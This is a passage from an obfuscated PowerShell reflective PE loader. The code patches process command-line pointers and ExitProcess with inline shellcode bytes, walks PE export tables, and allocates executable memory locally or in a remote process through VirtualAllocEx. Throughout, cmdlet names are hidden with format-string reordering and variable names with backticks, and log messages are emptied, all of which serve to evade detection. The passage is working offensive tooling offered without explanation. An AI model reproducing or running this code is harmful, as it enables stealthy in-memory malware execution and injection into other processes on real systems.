  1736.         }
  1737.        
  1738.         ${g`etcoMM`ANDlIne`Wa`dDrteMP} = ${GetCOM`mA`Nd`L`iNEwAddr}
  1739.         &("{0}{5}{1}{3}{6}{2}{4}" -f'W','t','oM','e-Byt','emory','ri','esT') -Bytes ${She`lLCoD`e1} -MemoryAddress ${gE`T`comManDL`InEW`AdDrTEmp}
  1740.         ${G`eTcoMManDli`N`E`WADdR`TemP} = &("{2}{0}{1}{4}{3}"-f 'edInt','AsU','Add-Sign','ned','nsig') ${g`ET`C`oM`MANDL`InEWAdd`Rt`EMP} (${SHELl`cOD`E1}."L`Eng`TH")
  1741.         [System.Runtime.InteropServices.Marshal]::"St`R`UCTuRe`TOp`TR"(${c`m`Dli`NewargSP`Tr}, ${GetComm`AND`li`N`e`Wa`dD`RtEMp}, ${f`A`lsE})
  1742.         ${gEtC`OmMAN`DlInEWA`Ddrte`mP} = &("{2}{3}{1}{0}{4}"-f'Unsi','dIntAs','Add-Si','gne','gned') ${GE`T`cOMMAN`DLiNEWa`Dd`RteMp} ${p`TR`siZe}
  1743.         &("{2}{0}{4}{1}{3}" -f 'To','mo','Write-Bytes','ry','Me') -Bytes ${s`hEllC`oDE2} -MemoryAddress ${GetComMa`ND`lIn`e`WADDR`TeMp}
  1744.        
  1745.         ${WiN3`2FU`N`C`TIoNs}."vIrTU`A`l`pRot`ECt"."i`NVOKe"(${geTcOmmAnDLin`e`waD`DR}, [UInt32]${T`otAL`Size}, [UInt32]${OLDPR`OTE`CtF`L`AG}, [Ref]${O`Ld`p`ROTeCTfL`Ag}) | &("{2}{0}{1}" -f 'N','ull','Out-')
  1746.         ${D`llli`ST} = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
  1747.             , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
  1748.        
  1749.         foreach (${D`ll} in ${D`LlL`ISt})
  1750.         {
  1751.             [IntPtr]${D`LLHAn`DlE} = ${WIn32F`Un`Ctio`NS}."getMO`du`LEH`A`NdlE"."In`Voke"(${D`lL})
  1752.             if (${DLLHAN`D`lE} -ne [IntPtr]::"ze`RO")
  1753.             {
  1754.                 [IntPtr]${WCm`dlna`d`Dr} = ${win3`2Fun`cT`ions}."get`P`RocaddR`ESs"."i`NvO`kE"(${d`ll`haND`lE}, "_wcmdln")
  1755.                 [IntPtr]${ACM`dLnAd`Dr} = ${w`In3`2fu`NCt`ioNs}."ge`TPro`C`ADD`REss"."iN`Vo`KE"(${dLLhA`N`dlE}, "_acmdln")
  1756.                 if (${w`C`MdL`Naddr} -eq [IntPtr]::"z`Ero" -or ${A`cMd`LnaDDR} -eq [IntPtr]::"ZE`Ro")
  1757.                 {
  1758.                     "Error, couldn't find _wcmdln or _acmdln"
  1759.                 }
  1760.                
  1761.                 ${NEW`Acm`D`lnPTr} = [System.Runtime.InteropServices.Marshal]::"Str`inG`T`oHg`lOBalaNSi"(${E`Xea`RGUm`ENTs})
  1762.                 ${nEWwCM`DLnp`Tr} = [System.Runtime.InteropServices.Marshal]::"sTr`iN`gTOhgLOb`A`lUnI"(${eXeARG`UMeN`Ts})
  1763.                
  1764.                 ${or`IgaCmdL`N`p`Tr} = [System.Runtime.InteropServices.Marshal]::"p`Tr`TOStRUCTUrE"(${AC`md`L`NaDDR}, [Type][IntPtr])
  1765.                 ${OrIgwC`md`lNPtR} = [System.Runtime.InteropServices.Marshal]::"PTrTost`RUC`TurE"(${w`CmdlNa`DdR}, [Type][IntPtr])
  1766.                 ${ori`ga`cmdLN`pTRsToR`AGE} = [System.Runtime.InteropServices.Marshal]::"A`LLoCH`GLoBAL"(${PT`R`sIze})
  1767.                 ${OriG`wC`M`Dlnp`Trst`orAgE} = [System.Runtime.InteropServices.Marshal]::"AllO`chglo`B`AL"(${pT`R`siZE})
  1768.                 [System.Runtime.InteropServices.Marshal]::"STruC`TUr`Et`oP`Tr"(${O`RI`g`ACMDLNpTR}, ${o`RiGA`cmD`lNp`TR`STo`RaGE}, ${fa`lSe})
  1769.                 [System.Runtime.InteropServices.Marshal]::"S`TRuCtuRe`ToPtr"(${oR`IgWCmDLN`p`Tr}, ${oRIG`WCMdLnp`Tr`STOR`A`gE}, ${F`AlSE})
  1770.                 ${R`ET`UrNa`RraY} += ,(${aCm`D`LnAdDR}, ${OriG`AcMdLNp`TRStO`R`AGE}, ${pt`RS`ize})
  1771.                 ${retuRn`A`R`Ray} += ,(${WcmD`Lnad`dr}, ${oriGW`CmdlN`PtRST`ORagE}, ${ptRsI`ze})
  1772.                
  1773.                 ${SUC`Ce`Ss} = ${WIN32fUn`c`TiONs}."v`IrTuAlPR`OTEcT"."INV`okE"(${acmDl`NAD`Dr}, [UInt32]${pt`RsI`ZE}, [UInt32](${Wi`N32c`O`NStAnts}."PAg`E_exEc`Ut`e_rEaD`wriTe"), [Ref]${o`lDpR`oTe`cTFLAG})
  1774.                 if (${S`UCce`sS} = ${FA`Lse})
  1775.                 {
  1776.                     throw ""
  1777.                 }
  1778.                 [System.Runtime.InteropServices.Marshal]::"struCt`Ur`eTO`p`Tr"(${nE`w`AcMDl`Np`TR}, ${ac`Md`L`NAddr}, ${f`ALsE})
  1779.                 ${w`iN32`FUNc`TIo`NS}."v`IR`TUalpROtEct"."I`Nvoke"(${AC`m`DLnA`DdR}, [UInt32]${pt`Rsi`ZE}, [UInt32](${oLDp`RO`TE`c`TflAg}), [Ref]${O`ld`PROTecTfL`Ag}) | &("{0}{1}"-f'Out-N','ull')
  1780.                
  1781.                 ${Su`C`CEss} = ${win32fu`N`c`TioNS}."vi`R`TuaLPRO`T`ecT"."INVo`KE"(${WCm`d`LNa`ddr}, [UInt32]${PTRs`izE}, [UInt32](${W`I`N32constANTs}."PAG`E_E`X`eCUTE_re`A`dWri`TE"), [Ref]${OLD`PRoT`ECtFLAG})
  1782.                 if (${sucC`e`Ss} = ${F`A`lSe})
  1783.                 {
  1784.                     throw ""
  1785.                 }
  1786.                 [System.Runtime.InteropServices.Marshal]::"stRUC`TuR`et`OpTr"(${nEwWCMD`L`NPtR}, ${WC`md`LnaDDr}, ${fAl`sE})
  1787.                 ${W`IN3`2FUNC`TIoNs}."v`IR`Tua`lPrOtEct"."IN`VOKe"(${WCMD`Ln`AD`Dr}, [UInt32]${pt`RSize}, [UInt32](${OlDP`ROtE`CtF`lAg}), [Ref]${oldp`RO`Te`CTFLAG}) | &("{1}{2}{0}" -f'ull','Out-','N')
  1788.             }
  1789.         }
  1790.         ${reTuR`Narr`AY} = @()
  1791.         ${eXiTfUN`CT`iO`NS} = @()
  1792.        
  1793.        
  1794.         [IntPtr]${mS`CORE`eha`NdLE} = ${W`In32fu`NCT`iO`Ns}."GEtMoD`ULEHA`NdLe"."inVO`KE"("mscoree.dll")
  1795.         if (${m`Scor`Eeh`ANdlE} -eq [IntPtr]::"Z`ero")
  1796.         {
  1797.             throw ""
  1798.         }
  1799.         [IntPtr]${cOr`Ex`i`TPR`oceSS`ADDR} = ${W`In`32Fun`ctionS}."gEt`P`RoCaDdRe`Ss"."I`NvO`Ke"(${mSCO`R`eE`HaNdLe}, "CorExitProcess")
  1800.         if (${COrExI`T`PRoc`EsSAd`dr} -eq [IntPtr]::"z`Ero")
  1801.         {
  1802.             Throw ""
  1803.         }
  1804.         ${Ex`I`TFUnCtIo`Ns} += ${c`orE`xit`pROcessaDDR}
  1805.        
  1806.    
  1807.         [IntPtr]${eXIt`PRoC`eS`sAddr} = ${win32fuN`C`T`i`ons}."geT`Pr`OCaDDRess"."InvO`Ke"(${kerNel32`H`AnD`LE}, "ExitProcess")
  1808.         if (${eXiTPR`OcEsSaD`Dr} -eq [IntPtr]::"Z`eRO")
  1809.         {
  1810.             Throw ""
  1811.         }
  1812.         ${e`xi`TFunctIONS} += ${eX`I`TpRO`CEss`ADDR}
  1813.        
  1814.         [UInt32]${oL`dp`R`Ot`ECtFLAg} = 0
  1815.         foreach (${PR`OcExi`TfuN`CT`i`OnA`DDr} in ${eXIt`FuncTI`onS})
  1816.         {
  1817.             ${P`RocEX`itf`UNC`Tionad`D`R`TMP} = ${PR`oCeXI`T`FuNCtI`oNa`DdR}
  1818.             [Byte[]]${shelL`CO`de1} = @(0xbb)
  1819.             [Byte[]]${s`HelLcO`DE2} = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
  1820.             if (${pt`RsI`Ze} -eq 8)
  1821.             {
  1822.                 [Byte[]]${sHEL`l`cOD`E1} = @(0x48, 0xbb)
  1823.                 [Byte[]]${S`HeLL`Co`DE2} = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
  1824.             }
  1825.             [Byte[]]${shEL`lc`o`dE3} = @(0xff, 0xd3)
  1826.             ${TOT`A`LSize} = ${Sh`E`ll`coDE1}."l`e`NgTh" + ${PTr`S`IZE} + ${sheL`L`coDe2}."lenG`Th" + ${pTR`Si`Ze} + ${S`HeL`LC`ODe3}."LE`NgTh"
  1827.            
  1828.             [IntPtr]${ex`ittHreA`d`ADDr} = ${WIN3`2F`U`NcTIONs}."GEtPR`Oc`A`ddRE`Ss"."INVo`KE"(${Kern`EL`32HaNd`lE}, "ExitThread")
  1829.             if (${E`xIt`THr`ea`daDdR} -eq [IntPtr]::"z`eRo")
  1830.             {
  1831.                 Throw ""
  1832.             }
  1833.             ${SUC`c`ess} = ${WI`N32Fu`NC`TIoNS}."VIrTuA`LP`R`ote`ct"."I`NvO`ke"(${PrOcExit`F`UNC`Ti`onA`dDr}, [UInt32]${To`TA`l`sIzE}, [UInt32]${Wi`N32C`O`NsTAnTs}."Page_e`X`eCuTE_rEADwr`ite", [Ref]${OL`DPRo`T`Ec`TfLAg})
  1834.             if (${SU`Cc`eSS} -eq ${fA`lse})
  1835.             {
  1836.                 Throw ""
  1837.             }
  1838.            
  1839.             ${EX`itPROCEssoRIGb`Y`Te`SP`TR} = [System.Runtime.InteropServices.Marshal]::"AlLo`chg`LObaL"(${tOt`A`lSiZE})
  1840.             ${wiN`3`2`FuN`CtIONS}."me`MCpy"."inV`O`ke"(${EXiTPr`OCESsO`Rigb`ytes`ptR}, ${pRO`ceXItFU`NCT`ion`AdDR}, [UInt64]${T`oTALs`i`zE}) | &("{1}{0}"-f 'll','Out-Nu')
  1841.             ${REtU`RNAR`RAy} += ,(${pR`Oc`exitF`UNctiON`Addr}, ${exItP`R`OC`eSsORigBy`TespTR}, ${t`O`TalSiZE})
  1842.            
  1843.             &("{3}{4}{2}{0}{5}{1}" -f't','y','e-By','Wri','t','esToMemor') -Bytes ${sHeLLCo`D`E1} -MemoryAddress ${p`Ro`cEXItFu`NCt`I`O`NaDDRTMp}
  1844.             ${P`ROce`X`iTfuncTioN`A`DDrTmp} = &("{1}{0}{2}{4}{5}{3}" -f 'dd-Sign','A','edI','ed','ntAsU','nsign') ${p`ROcexiT`FUnctIO`N`AdD`Rt`MP} (${shEL`LC`oDE1}."leNg`TH")
  1845.             [System.Runtime.InteropServices.Marshal]::"ST`RucTu`RE`TopTR"(${e`xeDO`NEbYt`EPtr}, ${proce`XI`TfuNcTio`Na`DDrt`mP}, ${FAL`se})
  1846.             ${PR`OcEx`iTfun`cTIONADD`R`T`Mp} = &("{4}{1}{6}{5}{2}{3}{0}" -f'ed','d-Si','AsUn','sign','Ad','nedInt','g') ${pr`O`c`ex`Itf`UNcTiONAdDRtmP} ${Ptr`sIZe}
  1847.             &("{0}{4}{5}{3}{1}{2}"-f 'Wr','esT','oMemory','t','ite','-By') -Bytes ${sh`ELlcO`dE2} -MemoryAddress ${PROCEx`iT`Fun`ctIo`Na`DDR`TMP}
  1848.             ${ProcExIt`Fu`N`ct`iONadDRT`mP} = &("{0}{2}{5}{4}{3}{1}" -f 'A','gned','dd-Sig','nsi','ntAsU','nedI') ${pRocExi`TfUNCtIo`N`Ad`DRTMP} (${ShE`Llc`OdE2}."Le`Ngth")
  1849.             [System.Runtime.InteropServices.Marshal]::"sTRuC`TuR`eT`opTr"(${exItth`ReaDA`D`Dr}, ${pr`OCe`xITFuNc`T`iONADD`Rt`Mp}, ${FA`lse})
  1850.             ${P`Rocexitf`U`NCti`On`AdDr`T`MP} = &("{5}{2}{1}{4}{0}{3}"-f'igne','ignedIntAsU','S','d','ns','Add-') ${prOCe`X`ItFu`NcTIonaD`dRtMp} ${P`Tr`Size}
  1851.             &("{1}{3}{4}{0}{2}{5}"-f'tesToMemo','Writ','r','e','-By','y') -Bytes ${Sh`e`LLcO`de3} -MemoryAddress ${prOCEXi`T`F`UN`CtIo`NaD`drtmP}
  1852.             ${Win32FU`N`CT`iONS}."VIr`TUalpr`OT`ECt"."InvO`Ke"(${P`ROcE`XItFuNC`Tio`NA`D`DR}, [UInt32]${toTA`ls`Ize}, [UInt32]${OL`DproT`eCtfLAG}, [Ref]${Ol`dPRO`T`ectFL`Ag}) | &("{0}{1}" -f'Out','-Null')
  1853.         }
  1854.         &("{2}{0}{1}"-f '-','Output','Write') ${re`T`Urn`ArrAY}
  1855.     }
  1856.     Function CO`pY-Arra`Y`o`F`MEmad`dReS`SEs
  1857.     {
  1858.         Param(
  1859.         [Parameter(PoSITiON = 0, MANdATORY = ${t`RuE})]
  1860.         [Array[]]
  1861.         ${cop`YIn`Fo},
  1862.        
  1863.         [Parameter(pOsiTIon = 1, MANDaTORY = ${tR`Ue})]
  1864.         [System.Object]
  1865.         ${wIn32f`Unc`Ti`ons},
  1866.        
  1867.         [Parameter(position = 2, mANdatoRY = ${t`Rue})]
  1868.         [System.Object]
  1869.         ${WIn3`2C`oNsTan`Ts}
  1870.         )
  1871.         [UInt32]${olD`pRO`T`ecT`FLAG} = 0
  1872.         foreach (${I`Nfo} in ${co`PY`INFO})
  1873.         {
  1874.             ${s`UcCEsS} = ${wIN32`F`U`NctI`Ons}."vIr`TUA`l`pROTe`Ct"."In`V`Oke"(${I`NFo}[0], [UInt32]${i`NfO}[2], [UInt32]${WIn32c`ONSTa`NTs}."PAge_`ExecU`T`e_rEadWr`iTe", [Ref]${o`ldPR`O`TecTfl`Ag})
  1875.             if (${Suc`CE`ss} -eq ${fAl`SE})
  1876.             {
  1877.                 Throw ""
  1878.             }
  1879.            
  1880.             ${w`iN3`2Fu`NCtIoNs}."MemC`pY"."InV`OKe"(${In`Fo}[0], ${i`Nfo}[1], [UInt64]${i`Nfo}[2]) | &("{0}{1}" -f'Ou','t-Null')
  1881.            
  1882.             ${w`in32`FunCTIons}."VIRtUA`LPr`oTe`ct"."I`NVoKe"(${iN`Fo}[0], [UInt32]${IN`FO}[2], [UInt32]${ol`dPROt`ect`FLAg}, [Ref]${Ol`D`ProteC`T`FLaG}) | &("{0}{1}"-f'Out-Nul','l')
  1883.         }
  1884.     }
  1885.     Function G`ET-M`e`MoRYPROCaDdreSS
  1886.     {
  1887.         Param(
  1888.         [Parameter(positiON = 0, mANdATory = ${TR`UE})]
  1889.         [IntPtr]
  1890.         ${pE`h`ANDLe},
  1891.        
  1892.         [Parameter(posITiOn = 1, maNDatoRy = ${T`RUe})]
  1893.         [String]
  1894.         ${fUnc`TI`On`NaME}
  1895.         )
  1896.        
  1897.         ${WIN3`2TY`PES} = &("{3}{2}{1}{0}" -f'pes','Ty','n32','Get-Wi')
  1898.         ${Win`32c`oN`sta`NTS} = &("{3}{1}{0}{2}" -f 'onsta','n32C','nts','Get-Wi')
  1899.         ${P`EiNFo} = &("{0}{3}{2}{1}"-f 'G','ledInfo','-PEDetai','et') -PEHandle ${PEhA`N`Dle} -Win32Types ${WIN32`Ty`PeS} -Win32Constants ${wIN`32`COn`STANtS}
  1900.        
  1901.        
  1902.         if (${p`einfO}."Ima`ge_Nt_H`e`AdErs"."O`Pt`ioNALH`EaDEr"."e`XPoRtt`ABle"."s`Ize" -eq 0)
  1903.         {
  1904.             return [IntPtr]::"zE`Ro"
  1905.         }
  1906.         ${exPOrTTa`BLep`TR} = &("{0}{3}{2}{4}{1}" -f'Add-Sig','d','sUnsig','nedIntA','ne') (${p`e`HAnDLE}) (${p`EI`NfO}."ImAGE_`N`T_`h`eadErS"."optiOna`L`hEaD`Er"."EXP`orTT`A`BLe"."VI`RTuAlA`d`drEss")
  1907.         ${ExP`o`R`TTable} = [System.Runtime.InteropServices.Marshal]::"ptR`TO`Str`UcTUrE"(${E`xp`ORTTa`BlE`ptR}, [Type]${wi`N32`Typ`ES}."i`mage`_`eXPoRT`_`DiRECTORy")
  1908.        
  1909.         for (${I} = 0; ${i} -lt ${eX`P`oRT`TAbLe}."numb`eR`oFn`AmES"; ${I}++)
  1910.         {
  1911.             ${nameOf`F`setPtR} = &("{2}{1}{5}{0}{3}{4}" -f 'AsUnsi','edIn','Add-Sign','gn','ed','t') (${P`eHA`Ndle}) (${eX`PorTTA`BLE}."adD`Re`ss`ofN`AMes" + (${i} * [System.Runtime.InteropServices.Marshal]::"Si`zEOF"([Type][UInt32])))
  1912.             ${nA`m`EpTr} = &("{1}{6}{5}{0}{3}{2}{4}"-f 'ign','Ad','n','edI','tAsUnsigned','-S','d') (${P`eha`N`DlE}) ([System.Runtime.InteropServices.Marshal]::"P`TRto`STR`UcTUre"(${NA`meOffS`e`T`PtR}, [Type][UInt32]))
  1913.             ${Na`me} = [System.Runtime.InteropServices.Marshal]::"ptRT`oStr`iN`GA`NSi"(${nAMe`p`Tr})
  1914.             if (${N`Ame} -ceq ${FuN`ct`IO`NnAmE})
  1915.             {
  1916.                 ${orDi`N`AlPTr} = &("{1}{0}{2}{4}{3}"-f '-Si','Add','gnedIn','d','tAsUnsigne') (${p`eh`AndLe}) (${eXPo`Rt`TA`BLE}."Ad`drESs`oFN`AmeOr`DIn`A`ls" + (${i} * [System.Runtime.InteropServices.Marshal]::"sIZ`eof"([Type][UInt16])))
  1917.                 ${fuNc`inD`EX} = [System.Runtime.InteropServices.Marshal]::"PT`R`TO`S`TRuCtURe"(${o`Rdi`NA`lPTR}, [Type][UInt16])
  1918.                 ${FU`NcOF`FSeTA`dDr} = &("{0}{5}{2}{1}{3}{4}"-f 'A','IntAsU','igned','nsign','ed','dd-S') (${Pe`HAN`DLE}) (${e`xp`orTt`ABlE}."AddrE`SsOffUn`Ctio`NS" + (${fUnC`i`N`deX} * [System.Runtime.InteropServices.Marshal]::"s`IZ`eOf"([Type][UInt32])))
  1919.                 ${Fu`NcoF`FSeT} = [System.Runtime.InteropServices.Marshal]::"pTrTosTR`U`c`Tu`RE"(${funC`Of`F`sETa`dDr}, [Type][UInt32])
  1920.                 return &("{2}{1}{3}{0}"-f'signed','ign','Add-S','edIntAsUn') (${Pe`H`AnDLe}) (${fuN`C`oFF`seT})
  1921.             }
  1922.         }
  1923.        
  1924.         return [IntPtr]::"z`erO"
  1925.     }
  1926.     Function INV`OKE`-MEMOrYL`oaDli`BRArY
  1927.     {
  1928.         Param(
  1929.         [Parameter( poSiTiON = 0, mAnDAToRy = ${t`RUE} )]
  1930.         [Byte[]]
  1931.         ${p`ebYT`es},
  1932.        
  1933.         [Parameter(PoSITIon = 1, MANdATorY = ${fal`sE})]
  1934.         [String]
  1935.         ${EXe`A`RGS},
  1936.        
  1937.         [Parameter(positioN = 2, mAnDaToRY = ${f`A`LsE})]
  1938.         [IntPtr]
  1939.         ${rEmoTEPrO`c`H`AnDle},
  1940.         [Parameter(PoSItIon = 3)]
  1941.         [Bool]
  1942.         ${forCe`A`SlR} = ${F`A`lSe}
  1943.         )
  1944.        
  1945.         ${P`TR`SIze} = [System.Runtime.InteropServices.Marshal]::"sIZe`OF"([Type][IntPtr])
  1946.        
  1947.        
  1948.         ${wI`N3`2CO`NsTAn`TS} = &("{2}{1}{3}{0}{5}{4}" -f 'ta','n','Get-Wi','32Cons','ts','n')
  1949.         ${W`in3`2`FUNctIons} = &("{1}{3}{4}{2}{0}"-f 'ions','Get-Win3','t','2','Func')
  1950.         ${WiN3`2ty`peS} = &("{3}{1}{2}{0}"-f'pes','-Win','32Ty','Get')
  1951.        
  1952.         ${R`emoTEloa`DiNG} = ${fA`Lse}
  1953.         if ((${REmOt`ePROC`h`An`d`le} -ne ${n`ULL}) -and (${REmOt`ePRo`ch`AnD`lE} -ne [IntPtr]::"z`eRO"))
  1954.         {
  1955.             ${R`eMOTeloA`d`ing} = ${t`RUE}
  1956.         }
  1957.        
  1958.         &("{2}{0}{1}"-f'e-Verbos','e','Writ') ""
  1959.         ${P`eiNFO} = &("{1}{0}{2}{3}"-f'e','G','t-PEBasicInf','o') -PEBytes ${pEb`yt`ES} -Win32Types ${wi`N3`2TYpEs}
  1960.         ${oRi`gINA`liMA`gE`B`Ase} = ${P`EIn`Fo}."orI`giN`ALiM`A`GebAse"
  1961.         ${NxCom`patI`Ble} = ${Tr`UE}
  1962.         if (([Int] ${pEi`N`FO}."D`LlCHaraC`T`erI`sTICs" -band ${wI`N32cOns`TaN`TS}."iM`AgE_`d`LlC`hArACTERIsTics_nx`_`c`oMPat") -ne ${w`IN32c`OnsT`ANTS}."IMaGe_d`LlchA`RAC`TE`RI`stics_NX`_cOm`paT")
  1963.         {
  1964.             &("{1}{2}{0}{3}"-f 'rni','Write-W','a','ng') "....." -WarningAction ("{0}{2}{1}" -f'C','nue','onti')
  1965.             ${n`Xcomp`ATib`le} = ${fal`SE}
  1966.         }
  1967.        
  1968.        
  1969.         ${p`RoCeSS`64biT} = ${tR`UE}
  1970.         if (${r`EMoTe`LOAD`I`Ng} -eq ${t`RUE})
  1971.         {
  1972.             ${kEr`Ne`L32HAnDlE} = ${w`IN32f`U`NCTionS}."gETmODulE`HA`N`dLe"."In`VOkE"("kernel32.dll")
  1973.             ${rEs`ULT} = ${wi`N32F`U`NCTions}."GeT`p`ROcadD`ReSs"."I`Nv`oKE"(${Ke`RNeL32`HA`NDLE}, "IsWow64Process")
  1974.             if (${re`S`UlT} -eq [IntPtr]::"zE`Ro")
  1975.             {
  1976.                 Throw ""
  1977.             }
  1978.            
  1979.             [Bool]${WOw`64PRO`ce`Ss} = ${F`ALse}
  1980.             ${suC`Ce`ss} = ${wIn32f`UNCt`IonS}."IswO`w64p`RO`CEsS"."IN`VoKE"(${rEmo`TEpR`o`cHANDLe}, [Ref]${wow64pRo`C`Ess})
  1981.             if (${S`Uc`cESS} -eq ${FA`LSE})
  1982.             {
  1983.                 Throw ""
  1984.             }
  1985.            
  1986.             if ((${WoW6`4pR`OCESs} -eq ${tr`Ue}) -or ((${woW`64PRoc`e`sS} -eq ${FaL`sE}) -and ([System.Runtime.InteropServices.Marshal]::"S`IZeof"([Type][IntPtr]) -eq 4)))
  1987.             {
  1988.                 ${ProcEs`S`6`4B`iT} = ${F`AlSE}
  1989.             }
  1990.            
  1991.             ${PowER`Sh`e`lL`64BIt} = ${T`Rue}
  1992.             if ([System.Runtime.InteropServices.Marshal]::"S`iZEof"([Type][IntPtr]) -ne 8)
  1993.             {
  1994.                 ${POw`eRSHEl`L`64Bit} = ${fa`L`SE}
  1995.             }
  1996.             if (${powERSHell`64`B`it} -ne ${P`Roc`esS64`BiT})
  1997.             {
  1998.                 throw ""
  1999.             }
  2000.         }
  2001.         else
  2002.         {
  2003.             if ([System.Runtime.InteropServices.Marshal]::"S`iZe`OF"([Type][IntPtr]) -ne 8)
  2004.             {
  2005.                 ${Pr`OCEss64`BIt} = ${Fa`LSE}
  2006.             }
  2007.         }
  2008.         if (${pRo`C`E`sS64B`it} -ne ${P`eIn`FO}."PE6`4B`it")
  2009.         {
  2010.             Throw ""
  2011.         }
  2012.        
  2013.         &("{0}{3}{1}{2}" -f'Wri','Verbo','se','te-') ""
  2014.        
  2015.         [IntPtr]${lo`AdAD`Dr} = [IntPtr]::"ZE`RO"
  2016.         ${P`eSuPpo`R`TsAs`Lr} = ([Int] ${pe`I`NfO}."dllc`H`ARaC`T`erI`sTICS" -band ${w`in3`2coNsT`An`TS}."i`MAG`E`_DLlCH`AR`AcTERI`sT`ICS_dy`NaMic`_`BASe") -eq ${wI`N32coN`St`ANTS}."iMA`ge_dllCHAract`ERISTiCs`_d`YnAMI`c_ba`sE"
  2017.         if ((-not ${fO`RCeAs`LR}) -and (-not ${p`ESUpP`orT`SASlr}))
  2018.         {
  2019.             &("{1}{4}{2}{3}{0}" -f'g','Wr','e-Warn','in','it') "" -WarningAction ("{2}{1}{0}"-f'tinue','on','C')
  2020.             [IntPtr]${L`oaDA`DDr} = ${or`i`g`in`ALImagebaSE}
  2021.         }
  2022.         elseif (${f`or`CEas`lr} -and (-not ${PE`sup`PORTs`AsLr}))
  2023.         {
  2024.             &("{0}{1}{2}{3}" -f 'W','rit','e-Verbos','e') ""
  2025.         }
  2026.         if (${fo`RCe`ASlR} -and ${Re`moTe`LO`ADi`Ng})
  2027.         {
  2028.             &("{0}{1}{2}"-f 'W','ri','te-Error') "" -ErrorAction ("{1}{0}" -f'p','Sto')
  2029.         }
  2030.         if (${rEmO`Te`LoAD`Ing} -and (-not ${P`es`U`ppoRTS`ASLR}))
  2031.         {
  2032.             &("{1}{2}{0}{3}" -f 'e-E','Wri','t','rror') "" -ErrorAction ("{0}{1}" -f'S','top')
  2033.         }
  2034.         ${PEhAn`dlE} = [IntPtr]::"Ze`RO"
  2035.         ${e`Ff`eCtIvep`EHANDlE} = [IntPtr]::"Ze`Ro"
  2036.         if (${rem`o`TeL`O`ADINg} -eq ${t`RUe})
  2037.         {
  2038.             ${pE`Han`dLE} = ${wIn32`F`UnC`Tions}."vi`RTuAla`LLOC"."I`NvoKe"([IntPtr]::"ze`Ro", [UIntPtr]${p`EInFO}."SiZ`Eof`ImAgE", ${W`In32c`O`NSTANts}."M`Em`_C`omMiT" -bor ${Wi`N32cO`Ns`Tan`TS}."me`M`_REsERvE", ${wIN32ConS`T`A`Nts}."P`Age`_REA`DwRitE")
  2039.             ${EfF`Ecti`V`Ep`eH`AnDLe} = ${WI`N32`Functions}."V`ir`TuAla`LloCeX"."iN`VOke"(${RemOTe`P`ROChAN`D`lE}, ${loadAd`dr}, [UIntPtr]${pE`i`NFo}."SIZEO`F`ImAgE", ${wi`N`3`2COnSTAN`TS}."MeM_C`OM`MIt" -bor ${WI`N32co`NSt`A`NTs}."Mem_`Reser`VE", ${win32C`oNST`A`Nts}."PAGe_EXe`Cu`Te`_ReaDWr`iTe")
  2040.             if (${E`Ffecti`V`ePeh`AnDlE} -eq [IntPtr]::"Z`eRO")
  2041.             {
  2042.                 Throw ""
  2043.             }
  2044.         }
  2045.         else
  2046.         {
  2047.             if (${nxc`OMP`AtiB`Le} -eq ${t`RUe})
  2048.             {
  2049.                 ${pEh`And`Le} = ${w`i`N32FUNCTIo`Ns}."ViR`Tu`ALal`loC"."I`NvOKE"(${loa`D`A`ddR}, [UIntPtr]${pei`N`Fo}."sIZEO`F`imA`ge", ${WiN`32Co`NSTAnTs}."mEm_c`O`mMiT" -bor ${wIN`32cONST`AN`Ts}."M`eM_R`ESE`RVE", ${w`iN32CO`NsT`ANts}."PaGe_`R`eAdwrite")
  2050.             }
  2051.             else
  2052.             {
  2053.                 ${pEHA`N`dle} = ${win3`2fUNctIO`NS}."Virt`UAlaL`Loc"."IN`VOke"(${L`OaDa`ddr}, [UIntPtr]${P`e`Info}."s`iZeoFI`Mage", ${wiN32C`on`st`A`Nts}."M`em_cOm`MIt" -bor ${wI`N`32coNStANtS}."ME`m_`REs`ERVe", ${WiN32C`ONsT`A`Nts}."Pa`g`E_E`Xec`UtE_REAd`w`RitE")
  2054.             }
  2055.             ${EfFecTIVE`PeHAN`D`LE} = ${Pe`h`AnDle}
  2056.         }
  2057.        
  2058.         [IntPtr]${P`eendaDdrE`ss} = &("{1}{3}{2}{0}" -f'ned','Add','sig','-SignedIntAsUn') (${peh`An`dLe}) ([Int64]${pe`i`NFo}."S`iZ`EOfI`mAgE")
  2059.         if (${peH`An`dlE} -eq [IntPtr]::"Ze`Ro")
  2060.         {
  2061.             Throw ""
  2062.         }      
  2063.         [System.Runtime.InteropServices.Marshal]::"CO`PY"(${P`Eby`Tes}, 0, ${peH`AN`dle}, ${pei`NFo}."siZe`OfH`ead`ErS") | &("{0}{1}{2}"-f'Out-Nu','l','l')
  2064.        
  2065.        
  2066.         &("{0}{1}{2}" -f 'Wri','te','-Verbose') ""
  2067.         ${peiN`Fo} = &("{1}{3}{2}{0}"-f 'fo','Get-PEDeta','dIn','ile') -PEHandle ${pE`HA`N`DLE} -Win32Types ${Win32`TY`pEs} -Win32Constants ${Win`3`2c`oNStANTs}
  2068.         ${p`EiN`Fo} | &("{0}{2}{1}" -f 'Add-','ber','Mem') -MemberType ("{1}{2}{0}"-f 'ty','Not','eProper') -Name ("{1}{2}{0}"-f'ddress','E','ndA') -Value ${peen`Da`DdreSs}
  2069.         ${pEI`N`FO} | &("{2}{0}{1}"-f'd-','Member','Ad') -MemberType ("{2}{0}{3}{1}" -f 'roper','y','NoteP','t') -Name ("{5}{3}{4}{0}{1}{2}" -f'PE','H','andle','fec','tive','Ef') -Value ${ef`FEc`TiVEp`eHandlE}
  2070.         &("{1}{0}{2}{3}"-f 'te-Ve','Wri','r','bose') ""
  2071.        
  2072.        
  2073.         &("{4}{3}{1}{0}{2}"-f 'os','te-Verb','e','ri','W') ""
  2074.         &("{2}{1}{3}{0}" -f'tions','S','Copy-','ec') -PEBytes ${pEB`YteS} -PEInfo ${pe`InfO} -Win32Functions ${W`IN`3`2funCtiOnS} -Win32Types ${w`In3`2`TYpes}
  2075.         &("{1}{0}{3}{2}"-f'ite-V','Wr','se','erbo') ""
